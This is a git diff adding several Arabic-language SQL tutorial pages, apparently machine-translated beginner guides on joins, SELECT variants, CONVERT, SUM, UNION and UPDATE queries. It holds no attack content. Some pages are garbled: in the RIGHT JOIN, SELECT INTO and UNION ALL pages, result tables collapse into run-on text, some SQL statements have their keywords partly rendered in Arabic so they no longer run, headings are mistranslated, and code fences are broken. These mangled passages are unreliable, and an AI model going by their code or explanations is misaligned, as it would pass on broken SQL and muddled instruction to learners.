+++ b/client/src/guide/arabic/sql/sql-right-join-keyword/index.md
@@ -0,0 +1,58 @@
+---
+title: SQL Right Join
+localeTitle: مزود حق الانضمام
+---
+## مزود حق الانضمام
+
+### مثال على الاستخدام
+
+لهذا الدليل سنناقش SQL RIGHT JOIN.
+
+### الحق في الانضمام
+
+تقوم الكلمة الأساسية RIGHT JOIN بإرجاع كافة السجلات من الجدول الصحيح (table2) ، والسجلات المتطابقة من الجدول الأيسر (table1). والنتيجة هي NULL من الجانب الأيسر ، عندما لا يكون هناك أي تطابق.
+
+ `SELECT * 
+ FROM table1 
+ RIGHT JOIN table2 
+ ON table1.column_name = table2.column_name; 
+` 
+
+### استكمال قوائم الجدول لتكون مرجعا
+
+الغذاء أو بيانات الجدول الأيسر
+
+ `+---------+--------------+-----------+------------+ 
+ | ITEM_ID | ITEM_NAME    | ITEM_UNIT | COMPANY_ID | 
+ +---------+--------------+-----------+------------+ 
+ | 1       | Chex Mix     | Pcs       | 16         | 
+ | 6       | Cheez-It     | Pcs       | 15         | 
+ | 2       | BN Biscuit   | Pcs       | 15         | 
+ | 3       | Mighty Munch | Pcs       | 17         | 
+ | 4       | Pot Rice     | Pcs       | 15         | 
+ | 5       | Jaffa Cakes  | Pcs       | 18         | 
+ | 7       | Salt n Shake | Pcs       |            | 
+ +---------+--------------+-----------+------------+ 
+ 
+ 
+ 
+ company or RIGHT table data 
+` 
+
+نص + ------------ + --------------- + -------------- + | _معرف_ الشركة _|_ اسم _الشركة_ | COMPANY\_CITY | + ------------ + --------------- + -------------- + | 18 | ترتيب كل | بوسطن | 15 | جاك هيل المحدودة لندن | | 16 | أكاس للأغذية | دلهي | | 17 | عشاق الطعام. | لندن | | 19 | رشفة ن دغة. | نيويورك + ------------ + --------------- + -------------- +
+
+ `To get company name from company table and company ID, item name columns from foods table, the following SQL statement can be used: 
+` 
+
+مزود SELECT company.company _id ، company.company_ name ، company.company _city، foods.company_ id، foods.item _name من الشركة الحق في الانضمام إلى الأطعمة على company.company_ id = foods.company\_id؛
+
+ `OUTPUT 
+` 
+
+نص COMPANY _ID COMPANY_ NAME COMPANY _CITY COMPANY_ ID ITEM\_NAME
+
+* * *
+
+18 اطلب الكل 18 18 كعك يافا 15 Jack Hill Ltd London 15 Pot Rice 15 Jack Hill Ltd London 15 BN Biscuit 15 Jack Hill Ltd London 15 Cheez-It 16 Akas Foods Delhi 16 Chex Mix 17 Foodies. لندن 17 Munchy Munch NULL NULL NULL NULL Salt n Shake
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-select-distinct-statement/index.md b/client/src/guide/arabic/sql/sql-select-distinct-statement/index.md
new file mode 100644
index 0000000000..b329665afc
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-select-distinct-statement/index.md
@@ -0,0 +1,52 @@
+---
+title: SQL Select Distinct Statement
+localeTitle: SQL حدد بيان مميز
+---
+## SQL حدد بيان مميز
+
+### المقدمة
+
+تتيح لنا هذه الكلمة الرئيسية الحصول على قوائم بالقيم الفريدة في عمود. سيوضح هذا الدليل ذلك.
+
+### عرض كامل للبيانات في جدول الطالب
+
+ `USE fcc_sql_guides_database; 
+ SELECT studentID, FullName, sat_score, programOfStudy, rcd_Created, rcd_Updated FROM student; 
+` 
+
+ `+-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+### الحصول على قائمة من مجالات الدراسة
+
+ `SELECT DISTINCT programOfStudy FROM student; 
+` 
+
+ `+------------------+ 
+ | programOfStudy   | 
+ +------------------+ 
+ | Literature       | 
+ | Programming      | 
+ | Computer Science | 
+ +------------------+ 
+ 3 rows in set (0.00 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-select-into-statement/index.md b/client/src/guide/arabic/sql/sql-select-into-statement/index.md
new file mode 100644
index 0000000000..0cb020b6e5
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-select-into-statement/index.md
@@ -0,0 +1,33 @@
+---
+title: SQL Select into Statement
+localeTitle: اختيار SQL في بيان
+---
+## اختيار SQL في بيان
+
+`SELECT INTO` عبارة عن استعلام يسمح لك بإنشاء جدول _جديد_ ثم تعبئته مع مجموعة نتائج `SELECT statement` . لإضافة بيانات إلى جدول موجود ، راجع بيان [INSERT INTO](guides/src/pages/sql/sql-insert-into-select-statement/index.md) بدلاً من ذلك.
+
+يمكن استخدام `SELECT INTO` عندما تقوم بدمج البيانات من عدة جداول أو طرق عرض في جدول جديد. 1 لا يتأثر الجدول الأصلي.
+
+الصيغة العامة هي:
+
+ `SELECT column-names 
+  INTO new-table-name 
+  FROM table-name 
+ WHERE EXISTS 
+      (SELECT column-name 
+         FROM table-name 
+        WHERE condition) 
+` 
+
+يوضح هذا المثال مجموعة من الجداول التي تم "نسخها" من جدول "المورد" إلى جدول جديد يسمى المورّد USUS الذي يحمل المجموعة ذات الصلة بعمود البلد "USA".
+
+`sql SELECT * INTO SupplierUSA FROM Supplier WHERE Country = 'USA';` **النتائج** : 4 صفوف تتأثر 2
+
+| معرف | اسم الشركة ContactName | المدينة البلد الهاتف | | ---- | ----------------------------- |: ------------- -: | ------------- |: --------: |: --------------: | | 2 | نيو اورليانز كاجون المسرات | شيلي بيرك نيو اورليانز الولايات المتحدة الأمريكية (100) 555-4822 | | 3 | الجدة كيلي هومستيد | ريجينا مورفي آن أربور | الولايات المتحدة الأمريكية (313) 555-5735 | | 16 | Bigfoot مصانع الجعة | شيريل سايلور | بيند | الولايات المتحدة الأمريكية فارغة | 19 | نيو انغلاند للمأكولات البحرية Cannery | روب روبت | بوسطن الولايات المتحدة الأمريكية (617) 555-3267 |
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
+
+## مصادر
+
+1.  (Microsoft - إدراج الصفوف باستخدام SELECT INTO) \[https://technet.microsoft.com/en-us/library/ms190750 (v = sql.105) .aspx\]
+2.  (dofactory - SQL SELECT INTO Statement) \[http://www.dofactory.com/sql/select-into\]
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-select-statement/index.md b/client/src/guide/arabic/sql/sql-select-statement/index.md
new file mode 100644
index 0000000000..9b08488eb2
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-select-statement/index.md
@@ -0,0 +1,37 @@
+---
+title: SQL Select Statement
+localeTitle: تحديد بيان SQL
+---
+## تحديد بيان SQL
+
+## اختر من جمل
+
+عادةً ما يكون جزء SELECT من استعلام لتحديد أعمدة البيانات المراد إظهارها في النتائج. هناك أيضًا خيارات يمكنك تطبيقها لعرض البيانات التي لا تمثل عمودًا في الجدول.
+
+يوضح هذا المثال ثلاثة أعمدة محددة من جدول "الطالب" وعمود واحد محسوب. تقوم قاعدة البيانات بتخزين الطالب ID ، و FirstName ، و LastName للطالب. يمكننا دمج الأعمدة الأول واسم العائلة لإنشاء العمود المحتسب لـ FullName.
+
+ `select studentID, FirstName, LastName, FirstName + ' ' + LastName as FullName 
+ from student; 
+` 
+
+ `+-----------+-------------------+------------+------------------------+ 
+ | studentID | FirstName         | LastName   | FullName               | 
+ +-----------+-------------------+------------+------------------------+ 
+ |         1 | Monique           | Davis      | Monique Davis          | 
+ |         2 | Teri              | Gutierrez  | Teri Gutierrez         | 
+ |         3 | Spencer           | Pautier    | Spencer Pautier        | 
+ |         4 | Louis             | Ramsey     | Louis Ramsey           | 
+ |         5 | Alvin             | Greene     | Alvin Greene           | 
+ |         6 | Sophie            | Freeman    | Sophie Freeman         | 
+ |         7 | Edgar Frank "Ted" | Codd       | Edgar Frank "Ted" Codd | 
+ |         8 | Donald D.         | Chamberlin | Donald D. Chamberlin   | 
+ |         9 | Raymond F.        | Boyce      | Raymond F. Boyce       | 
+ +-----------+-------------------+------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+\* كما هو الحال مع جميع هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-server-convert-function/index.md b/client/src/guide/arabic/sql/sql-server-convert-function/index.md
new file mode 100644
index 0000000000..0aea430e98
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-server-convert-function/index.md
@@ -0,0 +1,51 @@
+---
+title: SQL Server Convert Function
+localeTitle: تحويل خادم SQL وظيفة
+---
+## تحويل خادم SQL وظيفة
+
+يحول من نوع بيانات واحد إلى نوع بيانات آخر.
+
+### بناء الجملة
+
+`CONVERT (_New Data Type, Expression, Style_)`
+
+*   **نوع** البيانات الجديد **: نوع بيانات** جديد ليتم تحويله أيضًا. على سبيل المثال: nvarchar، integer، decimal، date
+*   **التعبير:** البيانات المراد تحويلها.
+*   **نمط:** تنسيق. على سبيل المثال: النمط 110 هو تنسيق USA Date mm-dd-yyyy
+
+### على سبيل المثال: تحويل رقم عشري إلى عدد صحيح
+
+`SELECT CONVERT(INT, 23.456) as IntegerNumber`
+
+![تحويل رقم عشري إلى عدد صحيح](https://user-images.githubusercontent.com/12566249/31314884-6c94db4a-ac57-11e7-842f-710fad511131.png)
+
+ملاحظة: يتم اقتطاع النتيجة.
+
+### مثال: تحويل سلسلة إلى تاريخ
+
+`SELECT CONVERT(DATE, '20161030') as Date`
+
+![تحويل سلسلة إلى نوع التاريخ](https://user-images.githubusercontent.com/12566249/31314912-c25bbb52-ac57-11e7-880d-6d81041b1728.png)
+
+### على سبيل المثال: تحويل عشري إلى سلسلة
+
+`SELECT CONVERT(nvarchar, 20.123) as StringData`
+
+![تحويل عشري إلى سلسلة](https://user-images.githubusercontent.com/12566249/31314923-fb04e410-ac57-11e7-9646-94061e1f0ec2.png)
+
+### على سبيل المثال: تحويل عدد صحيح إلى رقم عشري
+
+`SELECT CONVERT(DECIMAL (15,3), 13) as DecimalNumber`
+
+![تحويل عدد صحيح الى رقم عشري](https://user-images.githubusercontent.com/12566249/31314932-1c8668ca-ac58-11e7-8cee-4d57fc523704.png)
+
+### مثال: تحويل سلسلة إلى تنسيق التاريخ في نمط تاريخ الولايات المتحدة الأمريكية
+
+`SELECT CONVERT(DATE, '20171030' , 110) To_USA_DateFormat`
+
+![تحويل سلسلة إلى تنسيق التاريخ في نمط تاريخ الولايات المتحدة الأمريكية](https://user-images.githubusercontent.com/12566249/31314937-35155d06-ac58-11e7-9d5d-823b66c41d0d.png)
+
+### معلومات اكثر:
+
+*   معلومات حول وظيفة التحويل: [Microsoft](https://docs.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-sum-function/index.md b/client/src/guide/arabic/sql/sql-sum-function/index.md
new file mode 100644
index 0000000000..78572a2ede
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-sum-function/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Sum Function
+localeTitle: دالة Sum Sum
+---
+## دالة Sum Sum
+
+هذه واحدة من الوظائف التجميعية (كما هو الحال في العد ، والمتوسط ​​، والحد الأقصى ، والدقائق ، وما إلى ذلك). يتم استخدامها في جملة GROUP BY حيث تقوم بتجميع البيانات المقدمة بواسطة الجزء SELECT FROM WHERE من العبارة.
+
+### مثال على الاستخدام
+
+"مجموع (Total\_ $)" في عبارة SELECT المجمعة في جملة GROUP BY. "العدد (\*)" يوفر عدد المساهمات.
+
+هذه البيانات مأخوذة من بيانات مساهمات الحملة التي نستخدمها في بعض هذه الأدلة.
+
+يجيب بيان SQL هذا على السؤال التالي: "أي المرشحين حصلوا على أكبر مبلغ إجمالي للمساهمات في عام 2016 ولكن فقط أولئك الذين حصلوا على أكثر من 20 مليون دولار أمريكي لجميع المساهمات مجتمعة؟"
+
+إن ترتيب مجموعة البيانات هذه في ترتيب تنازلي (DESC) يضع المرشحين الذين لديهم أكبر مساهمات إجمالية في أعلى القائمة.
+
+ `SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+` 
+
+ `+--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-syntax/index.md b/client/src/guide/arabic/sql/sql-syntax/index.md
new file mode 100644
index 0000000000..a6b1453cc1
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-syntax/index.md
@@ -0,0 +1,103 @@
+---
+title: SQL Syntax
+localeTitle: بناء جملة SQL
+---
+## بناء جملة SQL
+
+### المقدمة
+
+يوفر هذا الدليل وصفًا أساسيًا وعالي المستوى لبنية جملة عبارات SQL.
+
+تعتبر SQL معيارًا دوليًا (ISO) ، ولكنك ستجد العديد من الاختلافات بين عمليات التنفيذ. يستخدم هذا الدليل MySQL كمثال. إذا كنت تستخدم أحد مديري قواعد البيانات العلائقية الأخرى (DBMS) ، فستحتاج إلى التحقق من دليل نظام إدارة قواعد البيانات (DBMS) هذا إذا لزم الأمر.
+
+### ما سوف نغطي
+
+*   الاستخدام (يحدد قاعدة البيانات التي سيستخدمها البيان)
+*   اختر من جمل
+*   حيث البند (و / أو ، IN ، بين ، LIKE)
+*   اطلب بواسطة (ASC، DESC)
+*   مجموعة من قبل وبعد
+
+### كيف يستعمل هذا
+
+يتم استخدام هذا لتحديد قاعدة البيانات التي تحتوي على جداول عبارات SQL الخاصة بك:
+
+ `use fcc_sql_guides_database; -- select the guide sample database 
+` 
+
+### اختر من جمل
+
+يُستخدم الجزء Select عادةً لتحديد أعمدة البيانات التي تريد إظهارها في النتائج. هناك أيضًا خيارات يمكنك استخدامها لعرض البيانات التي لا تمثل عمودًا في الجدول.
+
+يوضح هذا المثال عمودين تم تحديدهما من جدول "الطالب" ، واثنين من الأعمدة المحسوبة. أول عمود محسوب هو رقم لا معنى له ، والآخر هو تاريخ النظام.
+
+ `    select studentID, FullName, 3+2 as five, now() as currentDate 
+    from student; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/syntax01.JPG)
+
+### حيث البند (و / أو ، IN ، بين و LIKE)
+
+يتم استخدام جملة WHERE لتحديد عدد الصفوف التي يتم إرجاعها.
+
+في هذه الحالة سيتم استخدام كل خمسة من هذه سخيفة إلى حد ما حيث جملة.
+
+قارن هذه النتيجة بعبارة SQL المذكورة أعلاه لمتابعة هذا المنطق.
+
+سيتم عرض الصفوف التالية:
+
+*   امتلاك هويات الطلاب بين 1 و 5 (ضمنا)
+*   أو studentID = 8
+*   أو لديك "Maxmimo" في الاسم
+
+المثال التالي مشابه ، لكنه يحدد كذلك أنه إذا كان لدى أي من الطلاب درجات SAT معينة (1000 ، 1400) ، فلن يتم تقديمها:
+
+ `    select studentID, FullName, sat_score, recordUpdated 
+    from student 
+    where ( 
+        studentID between 1 and 5 
+        or studentID = 8 
+        or FullName like '%Maximo%' 
+        ) 
+        and sat_score NOT in (1000, 1400); 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/syntax02.JPG)
+
+### اطلب بواسطة (ASC، DESC)
+
+ترتيب يمنحنا طريقة لفرز مجموعة النتائج بواسطة عنصر واحد أو أكثر من العناصر في قسم SELECT. في ما يلي القائمة نفسها الواردة أعلاه ، ولكن تم فرزها حسب الطلاب بالاسم الكامل. ترتيب الفرز الافتراضي هو تصاعدي (ASC) ، ولكن للفرز بالترتيب المعاكس (تنازلي) تستخدم DESC ، كما في المثال أدناه:
+
+ `    select studentID, FullName, sat_score 
+    from student 
+    where (studentID between 1 and 5 -- inclusive 
+        or studentID = 8 
+        or FullName like '%Maximo%') 
+        and sat_score NOT in (1000, 1400) 
+    order by FullName DESC; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/syntax03.JPG)
+
+### مجموعة من قبل وبعد
+
+Group By يعطينا طريقة لدمج الصفوف والبيانات الإجمالية. يشبه جملة "تضمين" الجملة الواردة أعلاه ، باستثناء أنها تعمل على البيانات المجمعة.
+
+هذه البيانات مأخوذة من بيانات مساهمات الحملة التي نستخدمها في بعض هذه الأدلة.
+
+يجيب بيان SQL هذا على السؤال التالي: "أي من المرشحين حصلوا على أكبر عدد من المساهمات (وليس مبلغًا بالقيمة ، ولكن عدد (\*)) في عام 2016 ، ولكن فقط أولئك الذين حصلوا على أكثر من 80 اشتراكًا؟"
+
+إن ترتيب مجموعة البيانات هذه بترتيب تنازلي (DESC) يضع المرشحين الذين لديهم أكبر عدد من المساهمات في أعلى القائمة.
+
+ `    select Candidate, Election_year, sum(Total_$), count(*) 
+    from combined_party_data 
+    where Election_year = 2016 
+    group by Candidate, Election_year 
+    having count(*) > 80 
+    order by count(*) DESC; 
+` 
+
+![صورة 1](https://github.com/SteveChevalier/guide-images/blob/master/syntax04.JPG)
+
+_كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي. آمل أن يمنحك هذا على الأقل ما يكفي للبدء. يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك._
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-union-operator/index.md b/client/src/guide/arabic/sql/sql-union-operator/index.md
new file mode 100644
index 0000000000..0c8769b3b7
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-union-operator/index.md
@@ -0,0 +1,64 @@
+---
+title: SQL Union Operator
+localeTitle: مشغل اتحاد SQL
+---
+## مشغل اتحاد SQL
+
+### وصف
+
+بالنسبة لهذا الدليل ، سنناقش قسم UNION Operator في عبارة SQL.
+
+يتم استخدام مشغل UNION لدمج نتائج عبارات التحديد المتعددة في مجموعة نتائج واحدة.
+
+يجب أن تحتوي عبارات SQL على نفس عدد الأعمدة في "بيان التحديد" الخاص بهم.
+
+### مثال اساسي
+
+بيان SQL
+
+ `SELECT 'aaaaa' 
+ UNION 
+ SELECT 'bbbbbbbbb'; 
+` 
+
+انتاج |
+
+ `+-----------+ 
+ | aaaaa     | 
+ +-----------+ 
+ | aaaaa     | 
+ | bbbbbbbbb | 
+ +-----------+ 
+ 2 rows in set (0.00 sec) 
+` 
+
+### مثال باستخدام جداول الطلاب
+
+بيان SQL
+
+ ``SELECT StudentID, FullName FROM student WHERE studentID BETWEEN 1 AND 5 
+ UNION 
+ SELECT studentID, studentEmailAddr FROM `student-contact-info` WHERE studentID BETWEEN 7 AND 8; 
+`` 
+
+انتاج |
+
+\`\` \`النص + ----------- + -------------------------------- + | StudentID | FullName | + ----------- + -------------------------------- + | 1 | مونيك ديفيز | 2 | تيري جوتيريز | | 3 | سبنسر باوتير | | 4 | لويس رمزي | 5 | ألفين غرين | | 7 | Maximo.Smith@freeCodeCamp.org | | 8 | Michael.Roach@freeCodeCamp.ort | + ----------- + -------------------------------- + 7 صفوف في مجموعة (0.00 ثانية)
+
+ `## SQL UNION ALL Operator 
+ 
+ The UNION ALL operator is an extension to UNION operator where it should result you a A+B of rows in the ouptput assuming A and B is your input, in simple terms UNION ALL doesn't deduplicate. 
+ 
+ 
+ ### Basic Syntax 
+ 
+ SQL Statement 
+` 
+
+مزود SELECT expression1، expression2،… expression _n من الجداول \[حيث الظروف\] الاتحاد كله SELECT expression1، expression2،… expression_ n من الجداول \[حيث الظروف\] ؛ \`\` \`
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-update-query/index.md b/client/src/guide/arabic/sql/sql-update-query/index.md
new file mode 100644
index 0000000000..9f899f148a
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-update-query/index.md
@@ -0,0 +1,121 @@
+---
+title: SQL Update Query
+localeTitle: استعلام تحديث SQL
+---
+## استعلام تحديث SQL
+
+### ما الذي يمكن أن يفعله استعلام التحديث
+
+يعطي استعلام تحديث للمبرمج DBA أو SQL باستخدام القدرة على تحديث العديد من السجلات بواسطة أمر واحد.
+
+هام تلميح السلامة! دائما نسخة احتياطية من ما أنت على وشك تغييره قبل تغييره!
+
+هذا الدليل سوف:
+
+*   إضافة حقل جديد إلى جدول الطالب
+*   اختبر المنطق لتحديث هذا الحقل من خلال عنوان البريد الإلكتروني المخصص للمدرسة
+*   تحديث الحقل الجديد.
+
+هذا هو جدول الطلاب ونحن نبدأ هذه العملية
+
+ `SELECT * FROM student; 
+` 
+
+ `+-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+### تغيير الجدول وإضافة حقل جديد
+
+ ``    ALTER TABLE `fcc_sql_guides_database`.`student` 
+    ADD COLUMN `schoolEmailAdr` VARCHAR(125) NULL AFTER `programOfStudy`; 
+`` 
+
+يتم تنفيذ جدول الطالب بعد التعديل.
+
+ `mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+----------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr | 
+ +------------------------+-----------+------------------+----------------+ 
+ | Monique Davis          |       400 | Literature       | NULL           | 
+ | Teri Gutierrez         |       800 | Programming      | NULL           | 
+ | Spencer Pautier        |      1000 | Programming      | NULL           | 
+ | Louis Ramsey           |      1200 | Programming      | NULL           | 
+ | Alvin Greene           |      1200 | Programming      | NULL           | 
+ | Sophie Freeman         |      1200 | Programming      | NULL           | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | NULL           | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | NULL           | 
+ | Raymond F. Boyce       |      2400 | Computer Science | NULL           | 
+ +------------------------+-----------+------------------+----------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+### اختبار المنطق (خطوة مهمة جدا!)
+
+ `SELECT FullName, instr(FullName," ") AS firstSpacePosition, 
+ concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") AS schoolEmail 
+ FROM student; 
+` 
+
+ `+------------------------+--------------------+------------------------+ 
+ | FullName               | firstSpacePosition | schoolEmail            | 
+ +------------------------+--------------------+------------------------+ 
+ | Monique Davis          |                  8 | Monique@someSchool.edu | 
+ | Teri Gutierrez         |                  5 | Teri@someSchool.edu    | 
+ | Spencer Pautier        |                  8 | Spencer@someSchool.edu | 
+ | Louis Ramsey           |                  6 | Louis@someSchool.edu   | 
+ | Alvin Greene           |                  6 | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |                  7 | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |                  6 | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |                  7 | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |                  8 | Raymond@someSchool.edu | 
+ +------------------------+--------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+_ملاحظة حول concat (): في MySQL يتم استخدام هذا الأمر في سلاسل مدمجة ، وليس كذلك في إصدارات SQL الأخرى (راجع الدليل). في هذا الاستخدام يعمل مثل هذا: يتم دمج السلسلة الفرعية للحقل FullName مع عدم تضمين المساحة الأولى مع "@ someSchool.edu". في العالم الحقيقي سيكون هذا أكثر تعقيدًا وستحتاج إلى التأكد من أن عنوان البريد الإلكتروني فريد من نوعه._
+
+### القيام بالتحديث
+
+سنتظاهر بأن هذا ما نريده ونحدّث الجدول بهذه المعلومات:
+
+ `UPDATE student SET schoolEmailAdr = concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") 
+ WHERE schoolEmailAdr is NULL; 
+` 
+
+نجاح!
+
+ `mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+------------------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +------------------------+-----------+------------------+------------------------+ 
+ | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-update-statement/index.md b/client/src/guide/arabic/sql/sql-update-statement/index.md
new file mode 100644
index 0000000000..e82d0e740f
--- /dev/null
